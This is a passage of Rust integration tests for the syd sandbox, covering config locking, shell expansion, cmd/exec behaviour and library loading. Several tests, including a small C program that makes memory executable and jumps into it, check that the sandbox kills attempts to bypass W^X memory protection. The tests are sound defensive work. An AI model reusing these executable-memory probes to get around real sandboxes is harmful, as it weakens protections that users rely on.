    let mut file = File::create("conf.syd-3")?;
    write!(file, "{conf}")?;
    drop(file);

    let status = syd()
        .log("warn")
        .p("off")
        .P("./conf.syd-3")
        .argv(["true"])
        .status()
        .expect("execute syd");
    assert_status_not_ok!(status);

    Ok(())
}

// Tests if `-mlock:on` prevents subsequent file includes.
fn test_syd_lock_prevents_further_inc_items() -> TestResult {
    skip_unless_available!("true");

    let conf = "sandbox/read:on\n";
    let mut file = File::create("conf-1.syd-3")?;
    write!(file, "{conf}")?;
    drop(file);

    let conf = "lock:on\ninclude conf-1.syd-3\n";
    let mut file = File::create("conf-2.syd-3")?;
    write!(file, "{conf}")?;
    drop(file);

    let status = syd()
        .log("warn")
        .p("off")
        .P("./conf-2.syd-3")
        .argv(["true"])
        .status()
        .expect("execute syd");
    assert_status_not_ok!(status);

    Ok(())
}

// Tests if syd-chk works to check if process is running under syd.
fn test_syd_chk() -> TestResult {
    eprintln!("+ syd-chk");
    let status = std::process::Command::new(&*SYD_CHK)
        .status()
        .expect("execute syd");
    assert_status_not_ok!(status);

    let status = syd()
        .p("off")
        .argv([&*SYD_CHK])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_cmd_exec_with_lock_default() -> TestResult {
    skip_unless_available!("bash", "sleep");

    let status = syd()
        .p("off")
        .argv(["bash", "-cex"])
        .arg(format!(
            "
#!/bin/bash
: > test
cat > exec.sh <<EOF
#!/bin/bash -ex
# Careful here, cmd/exec changes CWD to /.
echo OK > $PWD/test
exit 42
EOF
chmod +x exec.sh
test -c \"$({} $PWD/exec.sh)\"
sleep 5
test -s ./test
true
",
            *SYD_EXEC
        ))
        .status()
        .expect("execute syd");
    assert_status_not_ok!(status);

    Ok(())
}

fn test_syd_cmd_exec_with_lock_on() -> TestResult {
    skip_unless_available!("bash", "chmod", "sleep", "true");

    let status = syd()
        .p("off")
        .m("lock:on")
        .argv(["bash", "-cex"])
        .arg(format!(
            "
#!/bin/bash
: > test
cat > exec.sh <<EOF
#!/bin/bash -ex
# Careful here, cmd/exec changes CWD to /.
echo OK > $PWD/test
exit 42
EOF
chmod +x exec.sh
test -c \"$({} $PWD/exec.sh)\"
sleep 5
test -s ./test
true
",
            *SYD_EXEC
        ))
        .status()
        .expect("execute syd");
    assert_status_not_ok!(status);

    Ok(())
}

fn test_syd_cmd_exec_with_lock_off_1() -> TestResult {
    skip_unless_available!("bash", "chmod", "sleep", "true");

    let status = syd()
        .p("off")
        .m("lock:off")
        .argv(["bash", "-cex"])
        .arg(format!(
            "
#!/bin/bash
: > test
cat > exec.sh <<EOF
#!/bin/bash -ex
# Careful here, cmd/exec changes CWD to /.
echo OK > $PWD/test
exit 42
EOF
chmod +x exec.sh
test -c \"$({} $PWD/exec.sh)\"
sleep 5
test -s ./test
true
",
            *SYD_EXEC
        ))
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_cmd_exec_with_lock_off_2() -> TestResult {
    skip_unless_available!("bash", "cat", "chmod", "true");

    let status = syd()
        .p("off")
        .m("lock:off")
        .argv(["bash", "-cex"])
        .arg(format!(
            "
#!/bin/bash
: > test
cat > exec.sh <<EOF
#!/bin/bash -ex
# Careful here, cmd/exec changes CWD to /.
echo OK > $PWD/test
exit 42
EOF
chmod +x exec.sh
(
    test -c \"$({} $PWD/exec.sh)\"
) &
wait
sleep 5
test -s ./test
true
",
            *SYD_EXEC
        ))
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_cmd_exec_with_lock_exec_1() -> TestResult {
    skip_unless_available!("bash", "cat", "chmod", "true");

    let status = syd()
        .p("off")
        .m("lock:exec")
        .argv(["bash", "-cex"])
        .arg(format!(
            "
#!/bin/bash
: > test
cat > exec.sh <<EOF
#!/bin/bash -ex
# Careful here, cmd/exec changes CWD to /.
echo OK > $PWD/test
exit 42
EOF
chmod +x exec.sh
test -c \"$({} $PWD/exec.sh)\"
sleep 5
test -s ./test
true
",
            *SYD_EXEC
        ))
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_cmd_exec_with_lock_exec_2() -> TestResult {
    skip_unless_available!("bash", "cat", "chmod", "true");

    let status = syd()
        .p("off")
        .m("lock:exec")
        .argv(["bash", "-cex"])
        .arg(format!(
            "
#!/bin/bash
: > test
cat > exec.sh <<EOF
#!/bin/bash -ex
# Careful here, cmd/exec changes CWD to /.
echo OK > $PWD/test
exit 42
EOF
chmod +x exec.sh
(
    test -c \"$({} $PWD/exec.sh)\"
) &
wait
sleep 5
test -s ./test
true
",
            *SYD_EXEC
        ))
        .status()
        .expect("execute syd");
    assert_status_not_ok!(status);

    Ok(())
}

fn test_syd_parse_config() -> TestResult {
    skip_unless_available!("true");

    let conf = "lock:on\n";
    let mut file = File::create("conf.syd-3")?;
    write!(file, "{conf}")?;
    drop(file);

    let status = syd()
        .p("off")
        .P("./conf.syd-3")
        .args(["--", "true"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let status = syd()
        .p("off")
        .P("./conf.syd-3")
        .m("lock:exec")
        .args(["--", "true"])
        .status()
        .expect("execute syd");
    assert_status_not_ok!(status);

    Ok(())
}

fn test_syd_include_config() -> TestResult {
    skip_unless_available!("true");

    let idir = " Heavy\tis\tthe\troot\tof\tlight.\tStill\tis\tthe\tmaster\tof\tmoving ";
    create_dir_all(idir)?;

    let name = " Heavy is the root of light.\tStill is the master of moving";
    let conf = "lock:${SYD_LOCK_STATE}\n";
    let mut file = File::create(format!("./{idir}/{name}.syd-3"))?;
    write!(file, "{conf}")?;
    drop(file);

    let conf = format!("include {name}.syd-3\n");
    let mut file = File::create(format!("./{idir}/conf.syd-3"))?;
    write!(file, "{conf}")?;
    drop(file);

    let status = syd()
        .env("SYD_LOCK_STATE", "on")
        .p("off")
        .P(format!("./{idir}/conf.syd-3"))
        .argv(["true"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let status = syd()
        .env("SYD_LOCK_STATE", "on")
        .p("off")
        .P(format!("./{idir}/conf.syd-3"))
        .m("lock:exec")
        .argv(["true"])
        .status()
        .expect("execute syd");
    assert_status_not_ok!(status);

    Ok(())
}

fn test_syd_shellexpand_01() -> TestResult {
    skip_unless_available!("true");

    let conf = "allow/write+${SYD_TEST_OOPS}/***\n";
    let mut file = File::create("conf.syd-3")?;
    write!(file, "{conf}")?;
    drop(file);

    let status = syd()
        .env("SYD_TEST_OOPS", "/home")
        .p("off")
        .P("./conf.syd-3")
        .argv(["true"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_shellexpand_02() -> TestResult {
    skip_unless_available!("true");

    let conf = "allow/write+${SYD_TEST_OOPS}/***\n";
    let mut file = File::create("conf.syd-3")?;
    write!(file, "{conf}")?;
    drop(file);

    let status = syd()
        .env_remove("SYD_TEST_OOPS")
        .p("off")
        .P("./conf.syd-3")
        .argv(["true"])
        .status()
        .expect("execute syd");
    assert_status_not_ok!(status);

    Ok(())
}

fn test_syd_shellexpand_03() -> TestResult {
    skip_unless_available!("true");

    let conf = "allow/write+${SYD_TEST_OOPS:-/home}/***\n";
    let mut file = File::create("conf.syd-3")?;
    write!(file, "{conf}")?;
    drop(file);

    let status = syd()
        .env_remove("SYD_TEST_OOPS")
        .p("off")
        .P("./conf.syd-3")
        .argv(["true"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_shellexpand_04() -> TestResult {
    skip_unless_available!("true");

    let conf = "allow/write+${SYD_TEST_OOPS:-}/***\n";
    let mut file = File::create("conf.syd-3")?;
    write!(file, "{conf}")?;
    drop(file);

    let status = syd()
        .env_remove("SYD_TEST_OOPS")
        .p("off")
        .P("./conf.syd-3")
        .argv(["true"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Tests if personality(2) locking works with trace/lock_personality.
#[allow(unreachable_code)]
fn test_syd_lock_personality() -> TestResult {
    // Check if the target architecture is 32-bit and exit if true
    #[cfg(not(target_pointer_width = "64"))]
    {
        eprintln!("Test requires 64-bit target, skippping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    let status = syd()
        .p("off")
        .m("trace/lock_personality:1")
        .do_("personality", ["false"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let status = syd()
        .p("off")
        .m("trace/lock_personality:0")
        .m("trace/lock_personality:1")
        .do_("personality", ["false"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let status = syd()
        .p("off")
        .do_("personality", ["true"])
        .status()
        .expect("execute syd");
    // This and the rest of the asserts fail on GitLab CI.
    if !*GL_BUILD {
        assert_status_ok!(status);
    } else {
        ignore!(status.success(), "status:{status:?}");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    let status = syd()
        .p("off")
        .m("trace/lock_personality:0")
        .do_("personality", ["true"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let status = syd()
        .p("off")
        .m("trace/lock_personality:1")
        .m("trace/lock_personality:0")
        .do_("personality", ["true"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check mmap: PROT_READ|PROT_EXEC with MAP_ANONYMOUS is killed.
fn test_syd_mmap_prot_read_exec_with_map_anonymous() -> TestResult {
    let status = syd()
        .p("off")
        .do_("mmap_prot_read_exec_with_map_anonymous", NONE)
        .status()
        .expect("execute syd");
    assert_status_sigsys!(status);

    // This restriction may be relaxed with allow_unsafe_memory:1.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_memory:1")
        .do_("mmap_prot_read_exec_with_map_anonymous", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check mmap: PROT_WRITE|PROT_EXEC with MAP_ANONYMOUS is killed.
fn test_syd_mmap_prot_write_exec_with_map_anonymous() -> TestResult {
    let status = syd()
        .p("off")
        .do_("mmap_prot_write_exec_with_map_anonymous", NONE)
        .status()
        .expect("execute syd");
    assert_status_sigsys!(status);

    // This restriction may be relaxed with allow_unsafe_memory:1.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_memory:1")
        .do_("mmap_prot_write_exec_with_map_anonymous", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

/// Check mmap: PROT_READ|PROT_EXEC with backing file.
fn test_syd_mmap_prot_read_exec_with_backing_file() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .m("deny/exec+/**/mmap")
        .do_("mmap_prot_read_exec_with_backing_file", NONE)
        .status()
        .expect("execute syd");
    assert_status_denied!(status);

    // We can allow access to the file specifically.
    // This fails with EBADF due to restrict_stack parsing ELF on mmap boundary.
    let status = syd()
        .p("off")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .m("allow/exec+/**/mmap")
        .do_("mmap_prot_read_exec_with_backing_file", NONE)
        .status()
        .expect("execute syd");
    assert_status_code!(status, nix::libc::EBADF);

    // We can allow access to the file specifically.
    // allow_unsafe_stack:1 skips ELF parsing at mmap boundary.
    let status = syd()
        .p("off")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .m("allow/exec+/**/mmap")
        .m("trace/allow_unsafe_stack:1")
        .do_("mmap_prot_read_exec_with_backing_file", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

/// Check mmap: PROT_WRITE|PROT_EXEC with backing file.
fn test_syd_mmap_prot_write_exec_with_backing_file() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .m("deny/exec+/**/mmap")
        .do_("mmap_prot_write_exec_with_backing_file", NONE)
        .status()
        .expect("execute syd");
    assert_status_sigsys!(status);

    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_memory:1")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .m("deny/exec+/**/mmap")
        .do_("mmap_prot_write_exec_with_backing_file", NONE)
        .status()
        .expect("execute syd");
    assert_status_denied!(status);

    // We can allow access to the file specifically.
    // This will still get killed without allow_unsafe_memory:1
    let status = syd()
        .p("off")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .m("allow/exec+/**/mmap")
        .do_("mmap_prot_write_exec_with_backing_file", NONE)
        .status()
        .expect("execute syd");
    assert_status_sigsys!(status);

    // We can allow access to the file specifically.
    // This fails with EBADF due to restrict_stack parsing ELF on mmap boundary.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_memory:1")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .m("allow/exec+/**/mmap")
        .do_("mmap_prot_write_exec_with_backing_file", NONE)
        .status()
        .expect("execute syd");
    assert_status_code!(status, nix::libc::EBADF);

    // We can allow access to the file specifically.
    // allow_unsafe_stack:1 skips ELF parsing at mmap boundary.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_memory:1")
        .m("trace/allow_unsafe_stack:1")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .m("allow/exec+/**/mmap")
        .do_("mmap_prot_write_exec_with_backing_file", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

/// Check mmap: PROT_READ|PROT_EXEC with a writable FD, then try modifying the contents.
fn test_syd_mmap_prot_exec_rdwr_fd() -> TestResult {
    // Layer 1: Memory-protection seccomp filters
    let status = syd()
        .p("off")
        .do_("mmap_prot_exec_rdwr_fd", NONE)
        .status()
        .expect("execute syd");
    assert_status_sigsys!(status);

    // Layer 2: restrict stack parsing ELF.
    // The data used by the test is not valid ELF.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_memory:1")
        .do_("mmap_prot_exec_rdwr_fd", NONE)
        .status()
        .expect("execute syd");
    assert_status_code!(status, nix::libc::EBADF);

    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_memory:1")
        .m("trace/allow_unsafe_stack:1")
        .do_("mmap_prot_exec_rdwr_fd", NONE)
        .status()
        .expect("execute syd");
    assert_status_code!(status, nix::libc::EOWNERDEAD);

    // Check MDWE without our seccomp filters.
    // Ignore error ENOSYS as MDWE may not be supported.
    let status = syd()
        .env("SYD_TEST_DO_MDWE", "YesPlease")
        .p("off")
        .m("trace/allow_unsafe_memory:1")
        .m("trace/allow_unsafe_stack:1")
        .do_("mmap_prot_exec_rdwr_fd", NONE)
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        // FIXME: This breaks W^X!
        // See: https://bugzilla.kernel.org/show_bug.cgi?id=219227
        assert_status_code!(status, nix::libc::EOWNERDEAD);
    } else {
        eprintln!("MDWE is not supported, continuing...");
    }

    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_memory:1")
        .m("trace/allow_unsafe_stack:1")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .m("deny/exec+/**/mmap")
        .do_("mmap_prot_exec_rdwr_fd", NONE)
        .status()
        .expect("execute syd");
    assert_status_denied!(status);

    Ok(())
}

// Test if mmap(NULL, MMAP_FIXED) is killed.
fn test_syd_mmap_fixed_null() -> TestResult {
    let status = syd()
        .p("off")
        .do_("mmap_fixed_null", NONE)
        .status()
        .expect("execute syd");
    if cfg!(target_arch = "s390x") {
        // old mmap:
        // Params are pointed to by arg[0], offset is in bytes.
        // This syscall bypasses our seccomp filter,
        // and there is nothing we can do about it due to
        // the pointer indirection involved.
        assert_status_code!(status, nix::libc::EPERM);
    } else {
        assert_status_sigsys!(status);
    }
    Ok(())
}

fn test_syd_mprotect_read_to_exec() -> TestResult {
    // mprotect PROT_EXEC a previously PROT_READ region is killed.
    let status = syd()
        .p("off")
        .do_("mprotect_read_to_exec", NONE)
        .status()
        .expect("execute syd");
    assert_status_sigsys!(status);

    // This restriction may be relaxed with allow_unsafe_memory:1
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_memory:1")
        .do_("mprotect_read_to_exec", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_mprotect_read_to_write_exec() -> TestResult {
    // mprotect PROT_WRITE|PROT_EXEC a previously PROT_READ region is killed.
    let status = syd()
        .p("off")
        .do_("mprotect_read_to_write_exec", NONE)
        .status()
        .expect("execute syd");
    assert_status_sigsys!(status);

    // This restriction may be relaxed with allow_unsafe_memory:1
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_memory:1")
        .do_("mprotect_read_to_write_exec", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_mprotect_write_to_exec() -> TestResult {
    // mprotect PROT_EXEC a previously PROT_WRITE region is killed.
    let status = syd()
        .p("off")
        .do_("mprotect_write_to_exec", NONE)
        .status()
        .expect("execute syd");
    assert_status_sigsys!(status);

    // This restriction may be relaxed with allow_unsafe_memory:1
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_memory:1")
        .do_("mprotect_write_to_exec", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_mprotect_write_to_read_exec() -> TestResult {
    // mprotect PROT_READ|PROT_EXEC a previously PROT_WRITE region is killed.
    let status = syd()
        .p("off")
        .do_("mprotect_write_to_read_exec", NONE)
        .status()
        .expect("execute syd");
    assert_status_sigsys!(status);

    // This restriction may be relaxed with allow_unsafe_memory:1
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_memory:1")
        .do_("mprotect_write_to_read_exec", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check MDWE protections across mprotect boundary.
fn test_syd_mprotect_exe() -> TestResult {
    skip_unless_available!("cc", "sh");

    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > mprotect.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <unistd.h>

int main() {
    size_t ps = getpagesize();
    void *mem = mmap(NULL, ps, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON, -1, 0);
    if (mem == MAP_FAILED) {
        perror("mmap");
        return EXIT_FAILURE;
    }

    // Set a simple return instruction depending on architecture.
#if defined(__x86_64__)
    *(unsigned char *)mem = 0xC3;  // ret
#elif defined(__i386__)
    *(unsigned char *)mem = 0xC3;  // ret
#elif defined(__aarch64__)
    *(unsigned int *)mem = 0xD65F03C0;  // ret
#elif defined(__arm__)
    *(unsigned int *)mem = 0xE12FFF1E;  // bx lr
#elif defined(__riscv) && __riscv_xlen == 64
    *(unsigned int *)mem = 0x00008067;  // ret (jr ra in riscv64)
#elif defined(__powerpc__) || defined(__ppc__) || defined(__PPC__)
    *(unsigned int *)mem = 0x4e800020; // "blr" instruction for "branch to link register" (return)
#elif defined(__s390x__) || defined(__s390__)
    *(unsigned short *)mem = 0x07FE;  // "br %r15"
#else
#error "Unsupported architecture"
#endif

    // Attempt to set the memory executable.
    if (mprotect(mem, ps, PROT_READ | PROT_EXEC) != 0) {
        perror("mprotect");
        return EXIT_FAILURE;
    }

    // Try executing the code in the memory.
    void (*func)() = (void (*)())mem;
    func();

    return EXIT_SUCCESS;
}
EOF

cc -Wall -Wextra mprotect.c -o mprotect
    "##,
        )
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    // Default is kill process.
    let status = syd()
        .p("off")
        .argv(["./mprotect"])
        .status()
        .expect("execute syd");
    assert_status_sigsys!(status);

    // allow_unsafe_memory:1 can relax this restriction.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_memory:1")
        .argv(["./mprotect"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Test if MDWE can be relaxed as expected.
fn test_syd_mprotect_jit() -> TestResult {
    skip_unless_available!("luajit", "sh");

    // Check if JIT is available for current architecture.
    let status = Command::new("sh")
        .arg("-cex")
        .arg("luajit -jon -e x=1")
        .status()
        .expect("check luajit");
    if !status.success() {
        eprintln!("LuaJIT cannot compile for current architecture, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(()); // Skip rest of the tests.
    }

    // Execute with default restrictions.
    // Expect LuaJIT to to be killed.
    let status = syd()
        .p("off")
        .argv(["luajit", "-e", "for i=1,1e5 do local a=i*2 end"])
        .status()
        .expect("execute syd");
    assert_status_sigsys!(status);

    // Relax restrictions.
    // Expect LuaJIT to succeed.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_memory:1")
        .argv(["luajit", "-e", "for i=1,1e5 do local a=i*2 end"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_load_library() -> TestResult {
    skip_unless_available!("cc");

    // Write code.
    let code = r#"
#include <stdio.h>
#include <unistd.h>

__attribute__((constructor))
void syd_init(void)
{
    printf("library initialized at pid %d\n", getpid());
}

int syd_main(void)
{
    printf("library loaded at pid %d\n", getpid());
    return 42;
}
"#;
    {
        let mut file = File::create("load.c")?;
        write!(file, "{code}")?;
    }

    // Compile code.
    Command::new("cc")
        .args([
            "-Wall", "-Wextra", "load.c", "-shared", "-o", "load.so", "-fPIC",
        ])
        .status()?;

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_code!(status, 42);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(()); // Skip rest of the tests.
    }

    // Try to load nonexisting library.
    let status = syd()
        .p("off")
        .argv(["./nolib.so"])
        .status()
        .expect("execute syd");
    assert_status_code!(status, nix::libc::ENOENT);

    // Try to load a library without the syd_main symbol.
    let code = r"int oops(void) { return 42; }";
    {
        let mut file = File::create("load.c")?;
        write!(file, "{code}")?;
    }
    Command::new("cc")
        .args([
            "-Wall", "-Wextra", "load.c", "-shared", "-o", "load.so", "-fPIC",
        ])
        .status()?;
    let status = syd()
        .p("off")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    assert_status_code!(status, nix::libc::EINVAL);

    Ok(())
}

fn test_syd_load_library_noexec() -> TestResult {
    skip_unless_available!("cc");
    skip_unless_unshare!();

    // Write code.
    let code = r#"
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor))
void syd_init(void)
{
    printf("library initialized at pid %d\n", getpid());
}

int syd_main(void)
{
    printf("library loaded at pid %d\n", getpid());
    return 42;
}
"#;
    {
        let mut file = File::create("load.c")?;
        write!(file, "{code}")?;
    }

    // Compile code.
    Command::new("cc")
        .args([
            "-Wall", "-Wextra", "load.c", "-shared", "-o", "load.so", "-fPIC",
        ])
        .status()?;

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .m("unshare/user:1")
        .m("unshare/pid:1")
        .m("bind+/:/:noexec")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_code!(status, 42);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

fn test_syd_load_library_abort_after_load() -> TestResult {
    skip_unless_available!("cc");

    // Write code.
    let code = r#"
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor))
void syd_init(void)
{
    printf("library initialized at pid %d\n", getpid());
}

int syd_main(void)
{
    printf("library loaded at pid %d\n", getpid());
    abort();
}
"#;
    {
        let mut file = File::create("load.c")?;
        write!(file, "{code}")?;
    }

    // Compile code.
    Command::new("cc")
        .args([
            "-Wall", "-Wextra", "load.c", "-shared", "-o", "load.so", "-fPIC",
        ])
        .status()?;

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_aborted!(status);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

fn test_syd_load_library_abort_at_startup() -> TestResult {
    skip_unless_available!("cc");

    // Write code.
    let code = r#"
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor))
void syd_init(void)
{
    printf("library initialized at pid %d\n", getpid());
    abort(); // This takes down syd with it...
}

int syd_main(void)
{
    printf("library loaded at pid %d\n", getpid());
    return 42;
}
"#;
    {
        let mut file = File::create("load.c")?;
        write!(file, "{code}")?;
    }

    // Compile code.
    Command::new("cc")
        .args([
            "-Wall", "-Wextra", "load.c", "-shared", "-o", "load.so", "-fPIC",
        ])
        .status()?;

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        let sign = status.signal().unwrap_or(0);
        assert!(
            matches!(sign, nix::libc::SIGABRT | nix::libc::SIGSEGV),
            "code:{code} status:{status:?}"
        );
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

fn test_syd_load_library_check_fd_leaks_bare() -> TestResult {
    skip_unless_available!("cc", "sh");

    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <dirent.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int syd_main(void) {
    DIR *dir;
    struct dirent *entry;
    int fd_leaks = 0, dir_fd;

    // Open the directory containing file descriptors
    dir = opendir("/proc/self/fd");
    if (!dir) {
        perror("Failed to open /proc/self/fd");
        return -1; // Return -1 in case of error
    }

    // Get the file descriptor for the directory stream
    dir_fd = dirfd(dir);
    if (dir_fd == -1) {
        perror("Failed to get file descriptor for directory");
        closedir(dir);
        return -1; // Return -1 in case of error
    }

    // Iterate over all entries in the directory
    while ((entry = readdir(dir)) != NULL) {
        int fd;
        char *end;

        // Convert the name of the entry to an integer
        fd = strtol(entry->d_name, &end, 10);
        if (*end != '\0' || entry->d_name == end) continue; // Skip non-integer entries

        // Build the path to the symbolic link for the file descriptor
        char link_path[4096];
        char target_path[4096];
        snprintf(link_path, sizeof(link_path), "/proc/self/fd/%d", fd);

        ssize_t len = readlink(link_path, target_path, sizeof(target_path) - 1);
        if (len > 0) {
            target_path[len] = '\0'; // Ensure null termination
            // We ignore standard input, output, and error which are 0, 1, and 2
            if (fd <= 2) {
                printf("Ignoring standard open fd %d -> %s...\n", fd, target_path);
            } else if (fd == dir_fd) {
                printf("Ignoring fd to current directory fd %d -> %s...\n", fd, target_path);
            } else {
                printf("!!! Leaked file descriptor %d -> %s !!!\n", fd, target_path);
                fd_leaks++;
            }
        } else {
            perror("Failed to read link");
            fd_leaks++;
        }
    }

    closedir(dir);
    return fd_leaks;
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC
    "##,
        )
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_ok!(status);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

fn test_syd_load_library_check_fd_leaks_wrap() -> TestResult {
    skip_unless_available!("cc", "sh");
    skip_unless_unshare!();

    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <dirent.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int syd_main(void) {
    DIR *dir;
    struct dirent *entry;
    int fd_leaks = 0, dir_fd;

    // Open the directory containing file descriptors
    dir = opendir("/proc/self/fd");
    if (!dir) {
        perror("Failed to open /proc/self/fd");
        return -1; // Return -1 in case of error
    }

    // Get the file descriptor for the directory stream
    dir_fd = dirfd(dir);
    if (dir_fd == -1) {
        perror("Failed to get file descriptor for directory");
        closedir(dir);
        return -1; // Return -1 in case of error
    }

    // Iterate over all entries in the directory
    while ((entry = readdir(dir)) != NULL) {
        int fd;
        char *end;

        // Convert the name of the entry to an integer
        fd = strtol(entry->d_name, &end, 10);
        if (*end != '\0' || entry->d_name == end) continue; // Skip non-integer entries

        // Build the path to the symbolic link for the file descriptor
        char link_path[4096];
        char target_path[4096];
        snprintf(link_path, sizeof(link_path), "/proc/self/fd/%d", fd);

        ssize_t len = readlink(link_path, target_path, sizeof(target_path) - 1);
        if (len > 0) {
            target_path[len] = '\0'; // Ensure null termination
            // We ignore standard input, output, and error which are 0, 1, and 2
            if (fd <= 2) {
                printf("Ignoring standard open fd %d -> %s...\n", fd, target_path);
            } else if (fd == dir_fd) {
                printf("Ignoring fd to current directory fd %d -> %s...\n", fd, target_path);
            } else {
                printf("!!! Leaked file descriptor %d -> %s !!!\n", fd, target_path);
                fd_leaks++;
            }
        } else {
            perror("Failed to read link");
            fd_leaks++;
        }
    }

    closedir(dir);
    return fd_leaks;
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC
    "##,
        )
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .m("unshare/user:1")
        .m("unshare/pid:1")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_ok!(status);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }
